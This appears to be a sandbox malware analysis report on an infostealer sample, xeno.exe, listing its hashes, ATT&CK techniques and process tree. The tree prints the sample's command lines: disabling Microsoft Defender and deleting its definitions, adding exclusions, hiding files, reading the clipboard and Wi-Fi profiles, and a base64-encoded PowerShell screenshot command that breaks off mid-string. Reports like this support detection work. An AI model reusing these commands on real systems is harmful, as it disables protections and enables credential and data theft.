cb0f31106f21e44edd3e869dd2f2081a9c3909222cd08b20ff5f77f83eaa107e

Analysis

max time kernel
149s
max time network
97s
platform
windows10-ltsc_2021_x64
resource
win10ltsc2021-20260513-en
resource tags

arch:x64arch:x86image:win10ltsc2021-20260513-enlocale:en-usos:windows10-ltsc_2021-x64systemwindows
submitted
18/05/2026, 17:30

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
xeno.exe
Size 10.7MB
Sample260518-v3fb8aax2v
SHA256 cb0f31106f21e44edd3e869dd2f2081a9c3909222cd08b20ff5f77f83eaa107e
MD5 57d5ddc260f753cea77891c744999578
SHA1 cdefdb4688c08d4eda3c5d4d810da7ecd7de20b0
SHA512 43a11ddd68bb179e6c52b370c1f7abc3a6d2e6f70f88b450d5b2e027475b04091f09ced20894f5eaef578d9da598f21800a5193c3ee5a922f1322c6a03f0636d
SSDEEP 196608:0/oRiKM/nDQOJwVqiqpCJk4dziYPSS3uaFmCHskA4NqSRr4ZRjMFTLit45:9M/nDNasY96guQmCHsn4qSRcZpiSt45
TLSH
T1D2B6336A579604B1DCE6A53DEA338107FB70B5011F62DACF0B785B255E2B9B10A3F710
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

collection credential_access defense_evasion discovery execution persistence privilege_escalation spyware stealer upx

Malware Config

Signatures

Deletes Windows Defender Definitions 2 TTPs 1 IoCs

Uses mpcmdrun utility to delete all AV definitions.

defense_evasion

Impair Defenses

T1562

Command and Scripting Interpreter

T1059

pid	Process
4696	MpCmdRun.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
4828	powershell.exe
1980	powershell.exe
2668	powershell.exe
3608	powershell.exe
4968	powershell.exe

Disables one or more Microsoft Defender components 1 TTPs 1 IoCs

Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

defense_evasion

Disable or Modify Tools

T1562.001

pid	Process
3608	powershell.exe

Clipboard Data 1 TTPs 2 IoCs

Adversaries may collect data stored in the clipboard from users copying information within or between applications.

collection

Clipboard Data

T1115

pid	Process
1336	cmd.exe
4412	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
1388	rar.exe

Loads dropped DLL 19 IoCs

pid	Process
1044	xeno.exe
1044	xeno.exe
1044	xeno.exe
1044	xeno.exe
1044	xeno.exe
1044	xeno.exe
1044	xeno.exe
1044	xeno.exe
1044	xeno.exe
1044	xeno.exe
1044	xeno.exe
1044	xeno.exe
1044	xeno.exe
1044	xeno.exe
1044	xeno.exe
1044	xeno.exe
1044	xeno.exe
1044	xeno.exe
1044	xeno.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
credential_access stealer

Credentials In Files
T1552.001
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
3	ip-api.com

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Enumerates processes with tasklist 1 TTPs 3 IoCs

discovery

Process Discovery

T1057

pid	Process
1480	tasklist.exe
1708	tasklist.exe
2644	tasklist.exe

Hide Artifacts: Hidden Files and Directories 1 TTPs 1 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
3324	cmd.exe

UPX packed file 64 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x000700000002867d-35.dat	upx
behavioral1/memory/1044-39-0x00007FFC9ECD0000-0x00007FFC9F3D6000-memory.dmp	upx
behavioral1/files/0x000700000002866b-41.dat	upx
behavioral1/memory/1044-44-0x00007FFCB03C0000-0x00007FFCB03E9000-memory.dmp	upx
behavioral1/files/0x000700000002867a-43.dat	upx
behavioral1/memory/1044-46-0x00007FFCB2630000-0x00007FFCB263F000-memory.dmp	upx
behavioral1/files/0x000700000002866a-47.dat	upx
behavioral1/files/0x000700000002866e-49.dat	upx
behavioral1/memory/1044-50-0x00007FFCB1170000-0x00007FFCB118A000-memory.dmp	upx
behavioral1/memory/1044-53-0x00007FFCAC9B0000-0x00007FFCAC9DC000-memory.dmp	upx
behavioral1/files/0x0007000000028676-54.dat	upx
behavioral1/memory/1044-55-0x00007FFCAC290000-0x00007FFCAC310000-memory.dmp	upx
behavioral1/files/0x0007000000028671-71.dat	upx
behavioral1/memory/1044-79-0x00007FFCB1080000-0x00007FFCB108F000-memory.dmp	upx
behavioral1/memory/1044-82-0x00007FFCAC990000-0x00007FFCAC9A4000-memory.dmp	upx
behavioral1/files/0x000700000002866d-81.dat	upx
behavioral1/files/0x0007000000028679-83.dat	upx
behavioral1/files/0x000700000002867b-86.dat	upx
behavioral1/files/0x0007000000028674-85.dat	upx
behavioral1/files/0x0007000000028672-84.dat	upx
behavioral1/files/0x0007000000028675-78.dat	upx
behavioral1/memory/1044-77-0x00007FFCB2620000-0x00007FFCB262D000-memory.dmp	upx
behavioral1/files/0x0007000000028673-73.dat	upx
behavioral1/files/0x0007000000028670-70.dat	upx
behavioral1/files/0x000700000002866f-69.dat	upx
behavioral1/files/0x000700000002866c-67.dat	upx
behavioral1/files/0x0007000000028669-66.dat	upx
behavioral1/files/0x0007000000028690-64.dat	upx
behavioral1/files/0x000700000002868f-63.dat	upx
behavioral1/files/0x0007000000028680-62.dat	upx
behavioral1/files/0x000700000002867c-59.dat	upx
behavioral1/memory/1044-88-0x00007FFCAC1A0000-0x00007FFCAC1D4000-memory.dmp	upx
behavioral1/memory/1044-90-0x00007FFCAB3E0000-0x00007FFCAB4AE000-memory.dmp	upx
behavioral1/memory/1044-92-0x00007FFCAC1E0000-0x00007FFCAC1FA000-memory.dmp	upx
behavioral1/memory/1044-91-0x00007FFC9ECD0000-0x00007FFC9F3D6000-memory.dmp	upx
behavioral1/memory/1044-87-0x00007FFC9E790000-0x00007FFC9ECC1000-memory.dmp	upx
behavioral1/memory/1044-98-0x00007FFCB03C0000-0x00007FFCB03E9000-memory.dmp	upx
behavioral1/memory/1044-99-0x00007FFCABD50000-0x00007FFCABD75000-memory.dmp	upx
behavioral1/memory/1044-101-0x00007FFC9E3F0000-0x00007FFC9E57A000-memory.dmp	upx
behavioral1/memory/1044-103-0x00007FFCAC160000-0x00007FFCAC16D000-memory.dmp	upx
behavioral1/memory/1044-108-0x00007FFCAB0C0000-0x00007FFCAB17E000-memory.dmp	upx
behavioral1/memory/1044-131-0x00007FFCAC290000-0x00007FFCAC310000-memory.dmp	upx
behavioral1/memory/1044-284-0x00007FFCB1080000-0x00007FFCB108F000-memory.dmp	upx
behavioral1/memory/1044-308-0x00007FFCAC990000-0x00007FFCAC9A4000-memory.dmp	upx
behavioral1/memory/1044-316-0x00007FFCAC1A0000-0x00007FFCAC1D4000-memory.dmp	upx
behavioral1/memory/1044-315-0x00007FFC9E790000-0x00007FFC9ECC1000-memory.dmp	upx
behavioral1/memory/1044-317-0x00007FFCAB3E0000-0x00007FFCAB4AE000-memory.dmp	upx
behavioral1/memory/1044-326-0x00007FFCABD50000-0x00007FFCABD75000-memory.dmp	upx
behavioral1/memory/1044-336-0x00007FFC9ECD0000-0x00007FFC9F3D6000-memory.dmp	upx
behavioral1/memory/1044-353-0x00007FFC9E3F0000-0x00007FFC9E57A000-memory.dmp	upx
behavioral1/memory/1044-379-0x00007FFCAC990000-0x00007FFCAC9A4000-memory.dmp	upx
behavioral1/memory/1044-382-0x00007FFCAB3E0000-0x00007FFCAB4AE000-memory.dmp	upx
behavioral1/memory/1044-386-0x00007FFCAB0C0000-0x00007FFCAB17E000-memory.dmp	upx
behavioral1/memory/1044-385-0x00007FFCAC160000-0x00007FFCAC16D000-memory.dmp	upx
behavioral1/memory/1044-384-0x00007FFC9E3F0000-0x00007FFC9E57A000-memory.dmp	upx
behavioral1/memory/1044-383-0x00007FFCABD50000-0x00007FFCABD75000-memory.dmp	upx
behavioral1/memory/1044-381-0x00007FFCAC1A0000-0x00007FFCAC1D4000-memory.dmp	upx
behavioral1/memory/1044-380-0x00007FFC9E790000-0x00007FFC9ECC1000-memory.dmp	upx
behavioral1/memory/1044-378-0x00007FFCB1080000-0x00007FFCB108F000-memory.dmp	upx
behavioral1/memory/1044-377-0x00007FFCB2620000-0x00007FFCB262D000-memory.dmp	upx
behavioral1/memory/1044-376-0x00007FFCAC290000-0x00007FFCAC310000-memory.dmp	upx
behavioral1/memory/1044-375-0x00007FFCAC9B0000-0x00007FFCAC9DC000-memory.dmp	upx
behavioral1/memory/1044-374-0x00007FFCB1170000-0x00007FFCB118A000-memory.dmp	upx
behavioral1/memory/1044-373-0x00007FFCB2630000-0x00007FFCB263F000-memory.dmp	upx

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
4772	PING.EXE
4420	cmd.exe

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
1840	cmd.exe
1992	netsh.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
2272	WMIC.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
848	systeminfo.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
4772	PING.EXE

Suspicious behavior: EnumeratesProcesses 42 IoCs

pid	Process
1980	powershell.exe
3608	powershell.exe
4828	powershell.exe
1980	powershell.exe
3504	WMIC.exe
3504	WMIC.exe
3504	WMIC.exe
3504	WMIC.exe
3608	powershell.exe
3608	powershell.exe
4828	powershell.exe
4828	powershell.exe
4412	powershell.exe
4412	powershell.exe
4412	powershell.exe
4832	powershell.exe
4832	powershell.exe
4832	powershell.exe
4968	powershell.exe
4968	powershell.exe
1988	powershell.exe
1988	powershell.exe
3240	WMIC.exe
3240	WMIC.exe
3240	WMIC.exe
3240	WMIC.exe
4580	WMIC.exe
4580	WMIC.exe
4580	WMIC.exe
4580	WMIC.exe
372	WMIC.exe
372	WMIC.exe
372	WMIC.exe
372	WMIC.exe
2668	powershell.exe
2668	powershell.exe
2272	WMIC.exe
2272	WMIC.exe
2272	WMIC.exe
2272	WMIC.exe
1480	powershell.exe
1480	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1980	powershell.exe
Token: SeDebugPrivilege	3608	powershell.exe
Token: SeDebugPrivilege	4828	powershell.exe
Token: SeDebugPrivilege	1708	tasklist.exe
Token: SeDebugPrivilege	1480	tasklist.exe
Token: SeIncreaseQuotaPrivilege	3504	WMIC.exe
Token: SeSecurityPrivilege	3504	WMIC.exe
Token: SeTakeOwnershipPrivilege	3504	WMIC.exe
Token: SeLoadDriverPrivilege	3504	WMIC.exe
Token: SeSystemProfilePrivilege	3504	WMIC.exe
Token: SeSystemtimePrivilege	3504	WMIC.exe
Token: SeProfSingleProcessPrivilege	3504	WMIC.exe
Token: SeIncBasePriorityPrivilege	3504	WMIC.exe
Token: SeCreatePagefilePrivilege	3504	WMIC.exe
Token: SeBackupPrivilege	3504	WMIC.exe
Token: SeRestorePrivilege	3504	WMIC.exe
Token: SeShutdownPrivilege	3504	WMIC.exe
Token: SeDebugPrivilege	3504	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3504	WMIC.exe
Token: SeRemoteShutdownPrivilege	3504	WMIC.exe
Token: SeUndockPrivilege	3504	WMIC.exe
Token: SeManageVolumePrivilege	3504	WMIC.exe
Token: 33	3504	WMIC.exe
Token: 34	3504	WMIC.exe
Token: 35	3504	WMIC.exe
Token: 36	3504	WMIC.exe
Token: SeIncreaseQuotaPrivilege	3504	WMIC.exe
Token: SeSecurityPrivilege	3504	WMIC.exe
Token: SeTakeOwnershipPrivilege	3504	WMIC.exe
Token: SeLoadDriverPrivilege	3504	WMIC.exe
Token: SeSystemProfilePrivilege	3504	WMIC.exe
Token: SeSystemtimePrivilege	3504	WMIC.exe
Token: SeProfSingleProcessPrivilege	3504	WMIC.exe
Token: SeIncBasePriorityPrivilege	3504	WMIC.exe
Token: SeCreatePagefilePrivilege	3504	WMIC.exe
Token: SeBackupPrivilege	3504	WMIC.exe
Token: SeRestorePrivilege	3504	WMIC.exe
Token: SeShutdownPrivilege	3504	WMIC.exe
Token: SeDebugPrivilege	3504	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3504	WMIC.exe
Token: SeRemoteShutdownPrivilege	3504	WMIC.exe
Token: SeUndockPrivilege	3504	WMIC.exe
Token: SeManageVolumePrivilege	3504	WMIC.exe
Token: 33	3504	WMIC.exe
Token: 34	3504	WMIC.exe
Token: 35	3504	WMIC.exe
Token: 36	3504	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1980	powershell.exe
Token: SeSecurityPrivilege	1980	powershell.exe
Token: SeTakeOwnershipPrivilege	1980	powershell.exe
Token: SeLoadDriverPrivilege	1980	powershell.exe
Token: SeSystemProfilePrivilege	1980	powershell.exe
Token: SeSystemtimePrivilege	1980	powershell.exe
Token: SeProfSingleProcessPrivilege	1980	powershell.exe
Token: SeIncBasePriorityPrivilege	1980	powershell.exe
Token: SeCreatePagefilePrivilege	1980	powershell.exe
Token: SeBackupPrivilege	1980	powershell.exe
Token: SeRestorePrivilege	1980	powershell.exe
Token: SeShutdownPrivilege	1980	powershell.exe
Token: SeDebugPrivilege	1980	powershell.exe
Token: SeSystemEnvironmentPrivilege	1980	powershell.exe
Token: SeRemoteShutdownPrivilege	1980	powershell.exe
Token: SeUndockPrivilege	1980	powershell.exe
Token: SeManageVolumePrivilege	1980	powershell.exe

Suspicious use of WriteProcessMemory 62 IoCs

description	pid	Process	procid_target
PID 936 wrote to memory of 1044	936	xeno.exe	83
PID 1044 wrote to memory of 4272	1044	xeno.exe	85
PID 1044 wrote to memory of 3956	1044	xeno.exe	86
PID 1044 wrote to memory of 3324	1044	xeno.exe	87
PID 1044 wrote to memory of 1536	1044	xeno.exe	91
PID 4272 wrote to memory of 4828	4272	cmd.exe	93
PID 3956 wrote to memory of 3608	3956	cmd.exe	94
PID 3324 wrote to memory of 1704	3324	cmd.exe	95
PID 1536 wrote to memory of 1980	1536	cmd.exe	96
PID 1044 wrote to memory of 820	1044	xeno.exe	97
PID 1044 wrote to memory of 1492	1044	xeno.exe	98
PID 1044 wrote to memory of 1004	1044	xeno.exe	101
PID 820 wrote to memory of 1708	820	cmd.exe	103
PID 1492 wrote to memory of 1480	1492	cmd.exe	104
PID 1044 wrote to memory of 1336	1044	xeno.exe	105
PID 1044 wrote to memory of 4344	1044	xeno.exe	106
PID 1044 wrote to memory of 2572	1044	xeno.exe	108
PID 1044 wrote to memory of 1840	1044	xeno.exe	111
PID 1004 wrote to memory of 3504	1004	cmd.exe	112
PID 1044 wrote to memory of 5072	1044	xeno.exe	114
PID 1044 wrote to memory of 1764	1044	xeno.exe	116
PID 1336 wrote to memory of 4412	1336	cmd.exe	118
PID 4344 wrote to memory of 2644	4344	cmd.exe	119
PID 1764 wrote to memory of 4832	1764	cmd.exe	121
PID 1840 wrote to memory of 1992	1840	cmd.exe	120
PID 2572 wrote to memory of 1584	2572	cmd.exe	122
PID 5072 wrote to memory of 848	5072	cmd.exe	124
PID 1044 wrote to memory of 4012	1044	xeno.exe	125
PID 4012 wrote to memory of 4776	4012	cmd.exe	127
PID 1044 wrote to memory of 4020	1044	xeno.exe	128
PID 4020 wrote to memory of 1824	4020	cmd.exe	147
PID 1044 wrote to memory of 2616	1044	xeno.exe	131
PID 2616 wrote to memory of 4924	2616	cmd.exe	133
PID 1044 wrote to memory of 4260	1044	xeno.exe	134
PID 4832 wrote to memory of 4152	4832	powershell.exe	136
PID 4260 wrote to memory of 3520	4260	cmd.exe	137
PID 1044 wrote to memory of 3508	1044	xeno.exe	138
PID 3508 wrote to memory of 3048	3508	cmd.exe	140
PID 4152 wrote to memory of 3456	4152	csc.exe	141
PID 3956 wrote to memory of 4696	3956	cmd.exe	142
PID 1044 wrote to memory of 3452	1044	xeno.exe	143
PID 3452 wrote to memory of 4968	3452	cmd.exe	145
PID 1044 wrote to memory of 1792	1044	xeno.exe	146
PID 1792 wrote to memory of 1988	1792	cmd.exe	148
PID 1044 wrote to memory of 2808	1044	xeno.exe	149
PID 2808 wrote to memory of 2552	2808	cmd.exe	151
PID 1044 wrote to memory of 1652	1044	xeno.exe	152
PID 1652 wrote to memory of 1388	1652	cmd.exe	154
PID 1044 wrote to memory of 3068	1044	xeno.exe	155
PID 3068 wrote to memory of 3240	3068	cmd.exe	157
PID 1044 wrote to memory of 232	1044	xeno.exe	158
PID 232 wrote to memory of 4580	232	cmd.exe	160
PID 1044 wrote to memory of 2756	1044	xeno.exe	161
PID 2756 wrote to memory of 372	2756	cmd.exe	163
PID 1044 wrote to memory of 3388	1044	xeno.exe	164
PID 3388 wrote to memory of 2668	3388	cmd.exe	166
PID 1044 wrote to memory of 2396	1044	xeno.exe	167
PID 2396 wrote to memory of 2272	2396	cmd.exe	169
PID 1044 wrote to memory of 3876	1044	xeno.exe	170
PID 3876 wrote to memory of 1480	3876	cmd.exe	172
PID 1044 wrote to memory of 4420	1044	xeno.exe	173
PID 4420 wrote to memory of 4772	4420	cmd.exe	175

Views/modifies file attributes 1 TTPs 1 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
1704	attrib.exe

C:\Users\Admin\AppData\Local\Temp\xeno.exe
"C:\Users\Admin\AppData\Local\Temp\xeno.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:936
- C:\Users\Admin\AppData\Local\Temp\xeno.exe
  "C:\Users\Admin\AppData\Local\Temp\xeno.exe"
  2⤵
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:1044
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\xeno.exe'"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4272
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\xeno.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4828
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3956
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
      4⤵
      Command and Scripting Interpreter: PowerShell
      Disables one or more Microsoft Defender components
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3608
  - - C:\Program Files\Windows Defender\MpCmdRun.exe
      "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
      4⤵
      Deletes Windows Defender Definitions
      PID:4696
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib +h +s "C:\Users\Admin\AppData\Local\Temp\xeno.exe""
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    - Suspicious use of WriteProcessMemory
    PID:3324
  - - C:\Windows\system32\attrib.exe
      attrib +h +s "C:\Users\Admin\AppData\Local\Temp\xeno.exe"
      4⤵
      Views/modifies file attributes
      PID:1704
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\‎ ‏ .scr'"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1536
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\‎ ‏ .scr'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1980
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:820
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:1708
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1492
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:1480
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1004
  - - C:\Windows\System32\Wbem\WMIC.exe
      WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3504
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
    3⤵
    - Clipboard Data
    - Suspicious use of WriteProcessMemory
    PID:1336
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-Clipboard
      4⤵
      Clipboard Data
      Suspicious behavior: EnumeratesProcesses
      PID:4412
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4344
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      PID:2644
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2572
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:1584
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
    3⤵
    - System Network Configuration Discovery: Wi-Fi Discovery
    - Suspicious use of WriteProcessMemory
    PID:1840
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profile
      4⤵
      Event Triggered Execution: Netsh Helper DLL
      System Network Configuration Discovery: Wi-Fi Discovery
      PID:1992
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "systeminfo"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5072
  - - C:\Windows\system32\systeminfo.exe
      systeminfo
      4⤵
      Gathers system information
      PID:848
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBU